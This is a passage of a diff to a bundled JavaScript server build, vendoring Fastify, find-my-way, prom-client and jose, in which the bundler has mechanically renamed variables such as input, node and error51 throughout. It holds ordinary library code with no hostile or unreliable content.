+30627,7 @@ ${contextFunctionCode}`, } case "array": { code += ` - ${statement}(Array.isArray(${input})) { + ${statement}(Array.isArray(${input2})) { ${nestedResult} } `; @@ -30635,7 +30635,7 @@ ${contextFunctionCode}`, } case "integer": { code += ` - ${statement}(Number.isInteger(${input}) || ${input} === null) { + ${statement}(Number.isInteger(${input2}) || ${input2} === null) { ${nestedResult} } `; @@ -30643,7 +30643,7 @@ ${contextFunctionCode}`, } default: { code += ` - ${statement}(typeof ${input} === "${type}" || ${input} === null) { + ${statement}(typeof ${input2} === "${type}" || ${input2} === null) { ${nestedResult} } `; @@ -30656,52 +30656,52 @@ ${contextFunctionCode}`, `; return code; } - function buildSingleTypeSerializer(context2, location, input) { + function buildSingleTypeSerializer(context2, location, input2) { const schema = location.schema; switch (schema.type) { case "null": return "json += JSON_STR_NULL"; case "string": { if (schema.format === "date-time") { - return `json += asDateTime(${input})`; + return `json += asDateTime(${input2})`; } else if (schema.format === "date") { - return `json += asDate(${input})`; + return `json += asDate(${input2})`; } else if (schema.format === "time") { - return `json += asTime(${input})`; + return `json += asTime(${input2})`; } else if (schema.format === "unsafe") { - return `json += asUnsafeString(${input})`; + return `json += asUnsafeString(${input2})`; } else { return ` - if (typeof ${input} !== 'string') { - if (${input} === null) { + if (typeof ${input2} !== 'string') { + if (${input2} === null) { json += JSON_STR_EMPTY_STRING - } else if (${input} instanceof Date) { - json += JSON_STR_QUOTE + ${input}.toISOString() + JSON_STR_QUOTE - } else if (${input} instanceof RegExp) { - json += asString(${input}.source) + } else if (${input2} instanceof Date) { + json += JSON_STR_QUOTE + ${input2}.toISOString() + JSON_STR_QUOTE + } else if (${input2} instanceof RegExp) { + json += asString(${input2}.source) } else { - json += asString(${input}.toString()) + json += asString(${input2}.toString()) } } else { - json += asString(${input}) + json += asString(${input2}) } `; } } case "integer": - return `json += asInteger(${input})`; + return `json += asInteger(${input2})`; case "number": - return `json += asNumber(${input})`; + return `json += asNumber(${input2})`; case "boolean": - return `json += asBoolean(${input})`; + return `json += asBoolean(${input2})`; case "object": { - return buildObject(context2, location, input); + return buildObject(context2, location, input2); } case "array": { - return buildArray(context2, location, input); + return buildArray(context2, location, input2); } case void 0: - return `json += JSON.stringify(${input})`; + return `json += JSON.stringify(${input2})`; default: throw new Error(`${schema.type} unsupported`); } @@ -30783,14 +30783,14 @@ ${contextFunctionCode}`, } traverse(location); } - function buildConstSerializer(location, input) { + function buildConstSerializer(location, input2) { const schema = location.schema; const type = schema.type; const hasNullType = Array.isArray(type) && type.includes("null"); let code = ""; if (hasNullType) { code += ` - if (${input} === null) { + if (${input2} === null) { json += JSON_STR_NULL } else { `; @@ -30803,12 +30803,12 @@ ${contextFunctionCode}`, } return code; } - function buildAllOf(context2, location, input) { + function buildAllOf(context2, location, input2) { const schema = location.schema; let mergedSchemaId = context2.mergedSchemasIds.get(schema); if (mergedSchemaId) { const mergedLocation2 = getMergedLocation(context2, mergedSchemaId); - return buildValue(context2, mergedLocation2, input); + return buildValue(context2, mergedLocation2, input2); } mergedSchemaId = `__fjs_merged_${schemaIdCounter++}`; context2.mergedSchemasIds.set(schema, mergedSchemaId); @@ -30825,9 +30825,9 @@ ${contextFunctionCode}`, locations.push(allOfsLocation.getPropertyLocation(i)); } const mergedLocation = mergeLocations(context2, mergedSchemaId, locations); - return buildValue(context2, mergedLocation, input); + return buildValue(context2, mergedLocation, input2); } - function buildOneOf(context2, location, input) { + function buildOneOf(context2, location, input2) { context2.validatorSchemasIds.add(location.schemaId); const schema = location.schema; const type = schema.anyOf ? "anyOf" : "oneOf"; @@ -30854,10 +30854,10 @@ ${contextFunctionCode}`, optionLocation ]); } - const nestedResult = buildValue(context2, mergedLocation, input); + const nestedResult = buildValue(context2, mergedLocation, input2); const schemaRef = optionLocation.getSchemaRef(); code += ` - ${index2 === 0 ? "if" : "else if"}(validator.validate("${schemaRef}", ${input})) { + ${index2 === 0 ? "if" : "else if"}(validator.validate("${schemaRef}", ${input2})) { ${nestedResult} } `; @@ -30867,7 +30867,7 @@ ${contextFunctionCode}`, `; return code; } - function buildIfThenElse(context2, location, input) { + function buildIfThenElse(context2, location, input2) { context2.validatorSchemasIds.add(location.schemaId); const { if: ifSchema, @@ -30897,10 +30897,10 @@ ${contextFunctionCode}`, } if (!elseSchema) { return ` - if (validator.validate("${ifSchemaRef}", ${input})) { - ${buildValue(context2, thenMergedLocation, input)} + if (validator.validate("${ifSchemaRef}", ${input2})) { + ${buildValue(context2, thenMergedLocation, input2)} } else { - ${buildValue(context2, rootLocation, input)} + ${buildValue(context2, rootLocation, input2)} } `; } @@ -30918,30 +30918,30 @@ ${contextFunctionCode}`, ]); } return ` - if (validator.validate("${ifSchemaRef}", ${input})) { - ${buildValue(context2, thenMergedLocation, input)} + if (validator.validate("${ifSchemaRef}", ${input2})) { + ${buildValue(context2, thenMergedLocation, input2)} } else { - ${buildValue(context2, elseMergedLocation, input)} + ${buildValue(context2, elseMergedLocation, input2)} } `; } - function buildValue(context2, location, input) { + function buildValue(context2, location, input2) { let schema = location.schema; if (typeof schema === "boolean") { - return `json += JSON.stringify(${input})`; + return `json += JSON.stringify(${input2})`; } if (schema.$ref) { location = resolveRef2(context2, location); schema = location.schema; } if (schema.allOf) { - return buildAllOf(context2, location, input); + return buildAllOf(context2, location, input2); } if (schema.anyOf || schema.oneOf) { - return buildOneOf(context2, location, input); + return buildOneOf(context2, location, input2); } if (schema.if && schema.then) { - return buildIfThenElse(context2, location, input); + return buildIfThenElse(context2, location, input2); } if (schema.type === void 0) { const inferredType = inferTypeByKeyword(schema); @@ -30954,17 +30954,17 @@ ${contextFunctionCode}`, const nullable2 = schema.nullable === true; if (nullable2) { code += ` - if (${input} === null) { + if (${input2} === null) { json += JSON_STR_NULL } else { `; } if (schema.const !== void 0) { - code += buildConstSerializer(location, input); + code += buildConstSerializer(location, input2); } else if (Array.isArray(type)) { - code += buildMultiTypeSerializer(context2, location, input); + code += buildMultiTypeSerializer(context2, location, input2); } else { - code += buildSingleTypeSerializer(context2, location, input); + code += buildSingleTypeSerializer(context2, location, input2); } if (nullable2) { code += ` @@ -33793,12 +33793,12 @@ var require_parse3 = __commonJS({ var Empty = function() { }; Empty.prototype = /* @__PURE__ */ Object.create(null); - function parse4(input) { + function parse4(input2) { const result = new Empty(); - if (typeof input !== "string") { + if (typeof input2 !== "string") { return result; } - let inputLength = input.length; + let inputLength = input2.length; let key = ""; let value = ""; let startingIndex = -1; @@ -33810,13 +33810,13 @@ var require_parse3 = __commonJS({ let hasBothKeyValuePair = false; let c = 0; for (let i = 0; i < inputLength + 1; i++) { - c = i !== inputLength ? input.charCodeAt(i) : 38; + c = i !== inputLength ? input2.charCodeAt(i) : 38; if (c === 38) { hasBothKeyValuePair = equalityIndex > startingIndex; if (!hasBothKeyValuePair) { equalityIndex = i; } - key = input.slice(startingIndex + 1, equalityIndex); + key = input2.slice(startingIndex + 1, equalityIndex); if (hasBothKeyValuePair || key.length > 0) { if (keyHasPlus) { key = key.replace(plusRegex, " "); @@ -33825,7 +33825,7 @@ var require_parse3 = __commonJS({ key = fastDecode(key) || key; } if (hasBothKeyValuePair) { - value = input.slice(equalityIndex + 1, i); + value = input2.slice(equalityIndex + 1, i); if (valueHasPlus) { value = value.replace(plusRegex, " "); } @@ -34085,18 +34085,18 @@ var require_stringify = __commonJS({ } return ""; } - function stringify2(input) { + function stringify2(input2) { let result = ""; - if (input === null || typeof input !== "object") { + if (input2 === null || typeof input2 !== "object") { return result; } const separator = "&"; - const keys = Object.keys(input); + const keys = Object.keys(input2); const keyLength = keys.length; let valueLength = 0; for (let i = 0; i < keyLength; i++) { const key = keys[i]; - const value = input[key]; + const value = input2[key]; const encodedKey = encodeString(key) + "="; if (i) { result += separator; @@ -34864,24 +34864,24 @@ var require_safe_regex2 = __commonJS({ "use strict"; var parse4 = require_dist4(); var { types: types2 } = require_dist4(); - function walk(node, opts, starHeight) { + function walk(node2, opts, starHeight) { let i; let ok; let len; - if (node.type === types2.REPETITION) { + if (node2.type === types2.REPETITION) { starHeight++; opts.reps++; if (starHeight > 1) return false; if (opts.reps > opts.limit) return false; } - const options = node.options || node.value?.options; + const options = node2.options || node2.value?.options; if (options) { for (i = 0, len = options.length; i < len; i++) { ok = walk({ stack: options[i] }, opts, starHeight); if (!ok) return false; } } - const stack = node.stack || node.value?.stack; + const stack = node2.stack || node2.value?.stack; if (!stack) return true; for (i = 0, len = stack.length; i < len; i++) { ok = walk(stack[i], opts, starHeight); @@ -35031,8 +35031,8 @@ var require_pretty_print = __commonJS({ return mergedRoutes; }, []); } - function serializeNode(node, prefix, options) { - let routes = node.routes; + function serializeNode(node2, prefix, options) { + let routes = node2.routes; if (options.method === void 0) { routes = routes.map(normalizeRoute); } @@ -35046,28 +35046,28 @@ var require_pretty_print = __commonJS({ return routes.map(serializeRoute).join(` ${prefix}`); } - function buildObjectTree(node, tree, prefix, options) { - if (node.isLeafNode || options.commonPrefix !== false) { + function buildObjectTree(node2, tree, prefix, options) { + if (node2.isLeafNode || options.commonPrefix !== false) { prefix = prefix || "(empty root node)"; tree = tree[prefix] = {}; - if (node.isLeafNode) { - tree[treeDataSymbol] = serializeNode(node, prefix, options); + if (node2.isLeafNode) { + tree[treeDataSymbol] = serializeNode(node2, prefix, options); } prefix = ""; } - if (node.staticChildrenNodes) { - for (const child of node.staticChildrenNodes) { + if (node2.staticChildrenNodes) { + for (const child of node2.staticChildrenNodes) { buildObjectTree(child, tree, prefix + child.prefix, options); } } - if (node.parametricChildren) { - for (const child of Object.values(node.parametricChildren)) { + if (node2.parametricChildren) { + for (const child of Object.values(node2.parametricChildren)) { const childPrefix = Array.from(child.nodePaths).join("|"); buildObjectTree(child, tree, prefix + childPrefix, options); } } - if (node.wildcardChild) { - buildObjectTree(node.wildcardChild, tree, "*", options); + if (node2.wildcardChild) { + buildObjectTree(node2.wildcardChild, tree, "*", options); } } function prettyPrintTree(root, options) { @@ -35270,14 +35270,14 @@ var require_node = __commonJS({ this.staticChildrenCharCodes = []; this.staticChildrenNodes = []; } - setStaticChild(label, node) { + setStaticChild(label, node2) { const charCode = label.charCodeAt(0); const index2 = this.staticChildrenCharCodes.indexOf(charCode); if (index2 === -1) { this.staticChildrenCharCodes.push(charCode); - this.staticChildrenNodes.push(node); + this.staticChildrenNodes.push(node2); } else { - this.staticChildrenNodes[index2] = node; + this.staticChildrenNodes[index2] = node2; } } findStaticMatchingChild(path, pathIndex) { @@ -35320,9 +35320,9 @@ var require_node = __commonJS({ } return staticChild.createStaticChild(path.slice(i)); } - const node = new StaticNode(path); - this.setStaticChild(path.charAt(0), node); - return node; + const node2 = new StaticNode(path); + this.setStaticChild(path.charAt(0), node2); + return node2; } }; var StaticNode = class _StaticNode extends ParentNode { @@ -35382,13 +35382,13 @@ var require_node = __commonJS({ return staticNode; } getNextNode(path, pathIndex, nodeStack, paramsCount) { - let node = this.findStaticMatchingChild(path, pathIndex); + let node2 = this.findStaticMatchingChild(path, pathIndex); let parametricBrotherNodeIndex = 0; - if (node === null) { + if (node2 === null) { if (this.parametricChildren.length === 0) { return this.wildcardChild; } - node = this.parametricChildren[0]; + node2 = this.parametricChildren[0]; parametricBrotherNodeIndex = 1; } if (this.wildcardChild !== null) { @@ -35405,7 +35405,7 @@ var require_node = __commonJS({ brotherNode: this.parametricChildren[i] }); } - return node; + return node2; } _compilePrefixMatch() { if (this.prefix.length === 1) { @@ -36330,7 +36330,7 @@ var require_find_my_way = __commonJS({ path = sanitizedUrl.path; querystring2 = sanitizedUrl.querystring; shouldDecodeParam = sanitizedUrl.shouldDecodeParam; - } catch (error51) { + } catch (error62) { return this._onBadUrl(path); } if (this.ignoreTrailingSlash) { @@ -36358,8 +36358,8 @@ var require_find_my_way = __commonJS({ }; } } - let node = currentNode.getNextNode(path, pathIndex, brothersNodesStack, params.length); - if (node === null) { + let node2 = currentNode.getNextNode(path, pathIndex, brothersNodesStack, params.length); + if (node2 === null) { if (brothersNodesStack.length === 0) { if (maxParamLengthExceeded && this.onMaxParamLength) { return this._onMaxParamLength(originPath); @@ -36369,9 +36369,9 @@ var require_find_my_way = __commonJS({ const brotherNodeState = brothersNodesStack.pop(); pathIndex = brotherNodeState.brotherPathIndex; params.splice(brotherNodeState.paramsCount); - node = brotherNodeState.brotherNode; + node2 = brotherNodeState.brotherNode; } - currentNode = node; + currentNode = node2; while (true) { if (currentNode.kind === NODE_TYPES.STATIC) { pathIndex += currentNode.prefix.length; @@ -36567,7 +36567,7 @@ var require_find_my_way = __commonJS({ if (parsed.protocol !== `${scheme}:` || parsed.host.length === 0) { return null; } - } catch (error51) { + } catch (error62) { return null; } if (authorityEnd === url2.length) { @@ -36968,14 +36968,14 @@ var require_route = __commonJS({ const hasHEADHandler = headHandler !== null; try { router.on(opts.method, opts.url, { constraints }, routeHandler, context2); - } catch (error51) { + } catch (error62) { if (!context2[kRouteByFastify]) { const methods = Array.isArray(opts.method) ? opts.method : [opts.method]; - const isDuplicatedRoute = methods.some((method) => error51.message.includes(`Method '${method}' already declared for route`)); + const isDuplicatedRoute = methods.some((method) => error62.message.includes(`Method '${method}' already declared for route`)); if (isDuplicatedRoute) { throw new FST_ERR_DUPLICATED_ROUTE(opts.method, opts.url); } - throw error51; + throw error62; } } this.after((notHandledErr, done) => { @@ -37012,16 +37012,16 @@ var require_route = __commonJS({ opts.validatorCompiler || schemaController.validatorCompiler, isCustom ); - } catch (error51) { - throw new FST_ERR_SCH_VALIDATION_BUILD(opts.method, url2, error51.message); + } catch (error62) { + throw new FST_ERR_SCH_VALIDATION_BUILD(opts.method, url2, error62.message); } if (opts.schema.response && !opts.serializerCompiler) { schemaController.setupSerializer(this[kOptions]); } try { compileSchemasForSerialization(context2, opts.serializerCompiler || schemaController.serializerCompiler); - } catch (error51) { - throw new FST_ERR_SCH_SERIALIZATION_BUILD(opts.method, url2, error51.message); + } catch (error62) { + throw new FST_ERR_SCH_SERIALIZATION_BUILD(opts.method, url2, error62.message); } } }); @@ -37994,12 +37994,12 @@ var require_request2 = __commonJS({ } util.inherits(Request, Readable); util.inherits(CustomRequest, Request); - Request.prototype.destroy = function(error51) { + Request.prototype.destroy = function(error62) { if (this.destroyed || this._lightMyRequest.isDone) return; this.destroyed = true; - if (error51) { + if (error62) { this._error = true; - process.nextTick(() => this.emit("error", error51)); + process.nextTick(() => this.emit("error", error62)); } process.nextTick(() => this.emit("close")); }; @@ -38086,42 +38086,42 @@ var require_set_cookie = __commonJS({ } return { name, value }; } - function parse4(input, options) { + function parse4(input2, options) { options = options ? Object.assign({}, defaultParseOptions, options) : defaultParseOptions; - if (!input) { + if (!input2) { if (!options.map) { return []; } else { return createNullObj(); } } - if (input.headers) { - if (typeof input.headers.getSetCookie === "function") { - input = input.headers.getSetCookie(); - } else if (input.headers["set-cookie"]) { - input = input.headers["set-cookie"]; + if (input2.headers) { + if (typeof input2.headers.getSetCookie === "function") { + input2 = input2.headers.getSetCookie(); + } else if (input2.headers["set-cookie"]) { + input2 = input2.headers["set-cookie"]; } else { - var sch = input.headers[Object.keys(input.headers).find(function(key) { + var sch = input2.headers[Object.keys(input2.headers).find(function(key) { return key.toLowerCase() === "set-cookie"; })]; - if (!sch && input.headers.cookie && !options.silent) { + if (!sch && input2.headers.cookie && !options.silent) { console.warn( "Warning: set-cookie-parser appears to have been called on a request object. It is designed to parse Set-Cookie headers from responses, not Cookie headers from requests. Set the option {silent: true} to suppress this warning." ); } - input = sch; + input2 = sch; } } - if (!Array.isArray(input)) { - input = [input]; + if (!Array.isArray(input2)) { + input2 = [input2]; } if (!options.map) { - return input.filter(isNonEmptyString).map(function(str) { + return input2.filter(isNonEmptyString).map(function(str) { return parseString(str, options); }).filter(Boolean); } else { var cookies = createNullObj(); - return input.filter(isNonEmptyString).reduce(function(cookies2, str) { + return input2.filter(isNonEmptyString).reduce(function(cookies2, str) { var cookie = parseString(str, options); if (cookie && !isForbiddenKey(cookie.name)) { cookies2[cookie.name] = cookie; @@ -38302,11 +38302,11 @@ var require_response = __commonJS({ this.emit("finish"); this.destroy(); }; - Response.prototype.destroy = function(error51) { + Response.prototype.destroy = function(error62) { if (this.destroyed) return; this.destroyed = true; - if (error51) { - process.nextTick(() => this.emit("error", error51)); + if (error62) { + process.nextTick(() => this.emit("error", error62)); } process.nextTick(() => this.emit("close")); }; @@ -39797,12 +39797,12 @@ var require_fastify = __commonJS({ } if (fastify2[kState].started) { if (fastify2[kState].closing) { - const error51 = new FST_ERR_REOPENED_CLOSE_SERVER(); + const error62 = new FST_ERR_REOPENED_CLOSE_SERVER(); if (cb) { - cb(error51); + cb(error62); return; } else { - return Promise.reject(error51); + return Promise.reject(error62); } } return lightMyRequest(httpHandler, opts, cb); @@ -41869,28 +41869,28 @@ var require_rbtree = __commonJS({ var gp = null; var ggp = head; var p = null; - var node = this._root; + var node2 = this._root; ggp.right = this._root; while (true) { - if (node === null) { - node = new Node(data); - p.set_child(dir, node); + if (node2 === null) { + node2 = new Node(data); + p.set_child(dir, node2); ret2 = true; this.size++; - } else if (is_red(node.left) && is_red(node.right)) { - node.red = true; - node.left.red = false; - node.right.red = false; + } else if (is_red(node2.left) && is_red(node2.right)) { + node2.red = true; + node2.left.red = false; + node2.right.red = false; } - if (is_red(node) && is_red(p)) { + if (is_red(node2) && is_red(p)) { var dir2 = ggp.right === gp; - if (node === p.get_child(last)) { + if (node2 === p.get_child(last)) { ggp.set_child(dir2, single_rotate(gp, !last)); } else { ggp.set_child(dir2, double_rotate(gp, !last)); } } - var cmp = this._comparator(node.data, data); + var cmp = this._comparator(node2.data, data); if (cmp === 0) { break; } @@ -41900,8 +41900,8 @@ var require_rbtree = __commonJS({ ggp = gp; } gp = p; - p = node; - node = node.get_child(dir); + p = node2; + node2 = node2.get_child(dir); } this._root = head.right; } @@ -41913,34 +41913,34 @@ var require_rbtree = __commonJS({ return false; } var head = new Node(void 0); - var node = head; - node.right = this._root; + var node2 = head; + node2.right = this._root; var p = null; var gp = null; var found = null; var dir = 1; - while (node.get_child(dir) !== null) { + while (node2.get_child(dir) !== null) { var last = dir; gp = p; - p = node; - node = node.get_child(dir); - var cmp = this._comparator(data, node.data); + p = node2; + node2 = node2.get_child(dir); + var cmp = this._comparator(data, node2.data); dir = cmp > 0; if (cmp === 0) { - found = node; + found = node2; } - if (!is_red(node) && !is_red(node.get_child(dir))) { - if (is_red(node.get_child(!dir))) { - var sr = single_rotate(node, dir); + if (!is_red(node2) && !is_red(node2.get_child(dir))) { + if (is_red(node2.get_child(!dir))) { + var sr = single_rotate(node2, dir); p.set_child(last, sr); p = sr; - } else if (!is_red(node.get_child(!dir))) { + } else if (!is_red(node2.get_child(!dir))) { var sibling = p.get_child(!last); if (sibling !== null) { if (!is_red(sibling.get_child(!last)) && !is_red(sibling.get_child(last))) { p.red = false; sibling.red = true; - node.red = true; + node2.red = true; } else { var dir2 = gp.right === p; if (is_red(sibling.get_child(last))) { @@ -41950,7 +41950,7 @@ var require_rbtree = __commonJS({ } var gpc = gp.get_child(dir2); gpc.red = true; - node.red = true; + node2.red = true; gpc.left.red = false; gpc.right.red = false; } @@ -41959,8 +41959,8 @@ var require_rbtree = __commonJS({ } } if (found !== null) { - found.data = node.data; - p.set_child(p.right === node, node.get_child(node.left === null)); + found.data = node2.data; + p.set_child(p.right === node2, node2.get_child(node2.left === null)); this.size--; } this._root = head.right; @@ -41969,8 +41969,8 @@ var require_rbtree = __commonJS({ } return found !== null; }; - function is_red(node) { - return node !== null && node.red; + function is_red(node2) { + return node2 !== null && node2.red; } function single_rotate(root, dir) { var save = root.get_child(!dir); @@ -42021,21 +42021,21 @@ var require_bintree = __commonJS({ } var dir = 0; var p = null; - var node = this._root; + var node2 = this._root; while (true) { - if (node === null) { - node = new Node(data); - p.set_child(dir, node); + if (node2 === null) { + node2 = new Node(data); + p.set_child(dir, node2); ret = true; this.size++; return true; } - if (this._comparator(node.data, data) === 0) { + if (this._comparator(node2.data, data) === 0) { return false; } - dir = this._comparator(node.data, data) < 0; - p = node; - node = node.get_child(dir); + dir = this._comparator(node2.data, data) < 0; + p = node2; + node2 = node2.get_child(dir); } }; BinTree.prototype.remove = function(data) { @@ -42043,23 +42043,23 @@ var require_bintree = __commonJS({ return false; } var head = new Node(void 0); - var node = head; - node.right = this._root; + var node2 = head; + node2.right = this._root; var p = null; var found = null; var dir = 1; - while (node.get_child(dir) !== null) { - p = node; - node = node.get_child(dir); - var cmp = this._comparator(data, node.data); + while (node2.get_child(dir) !== null) { + p = node2; + node2 = node2.get_child(dir); + var cmp = this._comparator(data, node2.data); dir = cmp > 0; if (cmp === 0) { - found = node; + found = node2; } } if (found !== null) { - found.data = node.data; - p.set_child(p.right === node, node.get_child(node.left === null)); + found.data = node2.data; + p.set_child(p.right === node2, node2.get_child(node2.left === null)); this._root = head.right; this.size--; return true; @@ -44370,8 +44370,8 @@ var require_osMemoryHeapLinux = __commonJS({ var PROCESS_RESIDENT_MEMORY = "process_resident_memory_bytes"; var PROCESS_VIRTUAL_MEMORY = "process_virtual_memory_bytes"; var PROCESS_HEAP = "process_heap_bytes"; - function structureOutput(input) { - return input.split("\n").reduce((acc, string4) => { + function structureOutput(input2) { + return input2.split("\n").reduce((acc, string4) => { if (!values2.some((value2) => string4.startsWith(value2))) { return acc; } @@ -44401,8 +44401,8 @@ var require_osMemoryHeapLinux = __commonJS({ residentMemGauge.set(labels, structuredOutput.VmRSS); virtualMemGauge.set(labels, structuredOutput.VmSize); heapSizeMemGauge.set(labels, structuredOutput.VmData); - } catch (error51) { - debug("failed to collect Linux memory metrics: %o", error51); + } catch (error62) { + debug("failed to collect Linux memory metrics: %o", error62); } } }); @@ -44436,8 +44436,8 @@ var require_safeRss = __commonJS({ function safeRss() { try { return process.memoryUsage.rss(); - } catch (error51) { - debug("process.memoryUsage.rss() failed: %o", error51); + } catch (error62) { + debug("process.memoryUsage.rss() failed: %o", error62); return; } } @@ -44485,11 +44485,11 @@ var require_processOpenFileDescriptors = __commonJS({ var { debuglog } = __require("node:util"); var Gauge = require_gauge(); var fs2 = __require("fs"); - var process3 = __require("process"); + var process2 = __require("process"); var debug = debuglog("prom:metrics:process-open-fds"); var PROCESS_OPEN_FDS = "process_open_fds"; module.exports = (registry2, config2 = {}) => { - if (process3.platform !== "linux") { + if (process2.platform !== "linux") { return; } const namePrefix = config2.prefix ? config2.prefix : ""; @@ -44504,8 +44504,8 @@ var require_processOpenFileDescriptors = __commonJS({ try { const fds = fs2.readdirSync("/proc/self/fd"); this.set(labels, fds.length - 1); - } catch (error51) { - debug("failed to collect open file descriptors: %o", error51); + } catch (error62) { + debug("failed to collect open file descriptors: %o", error62); } } }); @@ -44536,8 +44536,8 @@ var require_processMaxFileDescriptors = __commonJS({ break; } } - } catch (error51) { - debug("failed to collect maximum file descriptors: %o", error51); + } catch (error62) { + debug("failed to collect maximum file descriptors: %o", error62); return; } } @@ -44569,8 +44569,8 @@ var require_eventLoopLag = __commonJS({ var perf_hooks; try { perf_hooks = __require("perf_hooks"); - } catch (error51) { - debug("perf_hooks module is unavailable: %o", error51); + } catch (error62) { + debug("perf_hooks module is unavailable: %o", error62); } var NODEJS_EVENTLOOP_LAG = "nodejs_eventloop_lag_seconds"; var NODEJS_EVENTLOOP_LAG_MIN = "nodejs_eventloop_lag_min_seconds"; @@ -44957,8 +44957,8 @@ var require_safeMemoryUsage = __commonJS({ function safeMemoryUsage() { try { return process.memoryUsage(); - } catch (error51) { - debug("process.memoryUsage() failed: %o", error51); + } catch (error62) { + debug("process.memoryUsage() failed: %o", error62); return; } } @@ -45117,8 +45117,8 @@ var require_gc = __commonJS({ var perf_hooks; try { perf_hooks = __require("perf_hooks"); - } catch (error51) { - debug("perf_hooks module is unavailable: %o", error51); + } catch (error62) { + debug("perf_hooks module is unavailable: %o", error62); } var NODEJS_GC_DURATION_SECONDS = "nodejs_gc_duration_seconds"; var DEFAULT_GC_DURATION_BUCKETS = [1e-3, 0.01, 0.1, 1, 2, 5]; @@ -45422,15 +45422,15 @@ var require_cluster = __commonJS({ metrics: metrics2 }); } - } catch (error51) { - debug("Error sending to primary", error51); + } catch (error62) { + debug("Error sending to primary", error62); if (!process.connected) { debug("Connection to primary lost."); } else { process.send({ type: GET_METRICS_RES, requestId: message2.requestId, - error: error51.message + error: error62.message }); } } @@ -45486,8 +45486,8 @@ var require_cluster = __commonJS({ const metrics2 = [historicMetrics, ...event.metrics]; historicMetrics = Registry2.aggregate(metrics2).getMetricsAsArray(); debug("collected metrics data from", worker.id); - } catch (error51) { - console.error("error collecting shutdown metrics", worker.id, error51); + } catch (error62) { + console.error("error collecting shutdown metrics", worker.id, error62); } finally { workers.delete(worker.id); } @@ -45761,12 +45761,12 @@ var require_worker = __commonJS({ threadId, metrics: metrics2 }); - } catch (error51) { - debug(error51); + } catch (error62) { + debug(error62); channel.postMessage({ type: GET_METRICS_RES, requestId: message2.requestId, - error: error51.message + error: error62.message }); } } else { @@ -45844,11 +45844,11 @@ var require_worker = __commonJS({ const metrics2 = [historicMetrics, ...workerMessage.metrics]; historicMetrics = Registry2.aggregate(metrics2).getMetricsAsArray(); debug("collected metrics data from", workerMessage.threadId); - } catch (error51) { + } catch (error62) { console.error( "error collecting shutdown metrics", workerMessage.threadId, - error51 + error62 ); } finally { workers.delete(workerName); @@ -45980,8 +45980,8 @@ import { createHash, randomBytes, randomUUID, timingSafeEqual } from "node:crypt function newUuid() { return randomUUID(); } -function sha256Hex(input) { - return createHash("sha256").update(input, "utf8").digest("hex"); +function sha256Hex(input2) { + return createHash("sha256").update(input2, "utf8").digest("hex"); } function encodeCursor(value) { return Buffer.from(JSON.stringify(value), "utf8").toString("base64url"); @@ -46135,8 +46135,8 @@ var JWTClaimValidationFailed = class extends JOSEError { claim; reason; payload; - constructor(message2, payload, claim = "unspecified", reason = "unspecified") { - super(message2, { cause: { claim, reason, payload } }), this.claim = claim, this.reason = reason, this.payload = payload; + constructor(message2, payload, claim2 = "unspecified", reason = "unspecified") { + super(message2, { cause: { claim: claim2, reason, payload } }), this.claim = claim2, this.reason = reason, this.payload = payload; } }; var JWTExpired = class extends JOSEError { @@ -46145,8 +46145,8 @@ var JWTExpired = class extends JOSEError { claim; reason; payload; - constructor(message2, payload, claim = "unspecified", reason = "unspecified") { - super(message2, { cause: { claim, reason, payload } }), this.claim = claim, this.reason = reason, this.payload = payload; + constructor(message2, payload, claim2 = "unspecified", reason = "unspecified") { + super(message2, { cause: { claim: claim2, reason, payload } }), this.claim = claim2, this.reason = reason, this.payload = payload; } }; var JOSEAlgNotAllowed = class extends JOSEError { @@ -46217,23 +46217,23 @@ var JWSSignatureVerificationFailed = class extends JOSEError { // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/util/base64url.js var invalid = "The input to be decoded is not correctly encoded."; -function decode(input) { +function decode(input2) { try { - return decodeBase64(typeof input == "string" ? input : decoder.decode(input), true); + return decodeBase64(typeof input2 == "string" ? input2 : decoder.decode(input2), true); } catch (cause) { throw new TypeError(invalid, { cause }); } } // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/validate.js -function isObject(input) { - if (typeof input != "object" || input === null || Object.prototype.toString.call(input) !== "[object Object]") +function isObject(input2) { + if (typeof input2 != "object" || input2 === null || Object.prototype.toString.call(input2) !== "[object Object]") return false; - const prototype = Object.getPrototypeOf(input); + const prototype = Object.getPrototypeOf(input2); return prototype === null || Object.getPrototypeOf(prototype) === null; } -function isJwkSet(input) { - return isObject(input) && Array.isArray(input.keys) && Array.from(input.keys).every(isObject); +function isJwkSet(input2) { + return isObject(input2) && Array.isArray(input2.keys) && Array.from(input2.keys).every(isObject); } function isDisjoint(...headers) { const parameters = /* @__PURE__ */ new Set(); @@ -46282,7 +46282,7 @@ function validateCrit(Err, recognizedDefault, recognizedOption, protectedHeader, throw new Err('"crit" (Critical) Header Parameter MUST be integrity protected'); if (!protectedHeader || protectedHeader.crit === void 0) return []; - if (!Array.isArray(protectedHeader.crit) || protectedHeader.crit.length === 0 || protectedHeader.crit.some((input) => typeof input != "string" || input.length === 0)) + if (!Array.isArray(protectedHeader.crit) || protectedHeader.crit.length === 0 || protectedHeader.crit.some((input2) => typeof input2 != "string" || input2.length === 0)) throw new Err('"crit" (Critical) Header Parameter MUST be an array of non-empty strings when present'); const recognized = recognizedOption === void 0 ? recognizedDefault : { __proto__: null, ...recognizedOption, ...recognizedDefault }; for (const parameter of protectedHeader.crit) { @@ -46588,26 +46588,26 @@ function secs(str) { const value = parseFloat(matched[2]), numericDate2 = Math.round(value * multipliers[matched[3][0].toLowerCase()]); return Number.isFinite(numericDate2) || invalidDuration(), matched[1] === "-" || matched[4] === "ago" ? -numericDate2 : numericDate2; } -function validateInput(label, input) { - if (!Number.isFinite(input)) +function validateInput(label, input2) { + if (!Number.isFinite(input2)) throw new TypeError(`Invalid ${label} input`); - return input; + return input2; } var normalizeTyp = (value) => { const normalized = value.toLowerCase(); return value.includes("/") ? normalized : `application/${normalized}`; }; var checkAudiencePresence = (audPayload, audOption) => typeof audPayload == "string" ? audOption.includes(audPayload) : Array.isArray(audPayload) ? audOption.some((aud) => audPayload.includes(aud)) : false; -function validateNumericDate(payload, claim, required2 = false) { - const value = payload[claim]; +function validateNumericDate(payload, claim2, required2 = false) { + const value = payload[claim2]; if (!(value === void 0 && !required2)) { if (typeof value != "number") - throw new JWTClaimValidationFailed(`"${claim}" claim must be a number`, payload, claim, "invalid"); + throw new JWTClaimValidationFailed(`"${claim2}" claim must be a number`, payload, claim2, "invalid"); return value; } } -function unexpectedClaim(payload, claim) { - throw new JWTClaimValidationFailed(`unexpected "${claim}" claim value`, payload, claim, 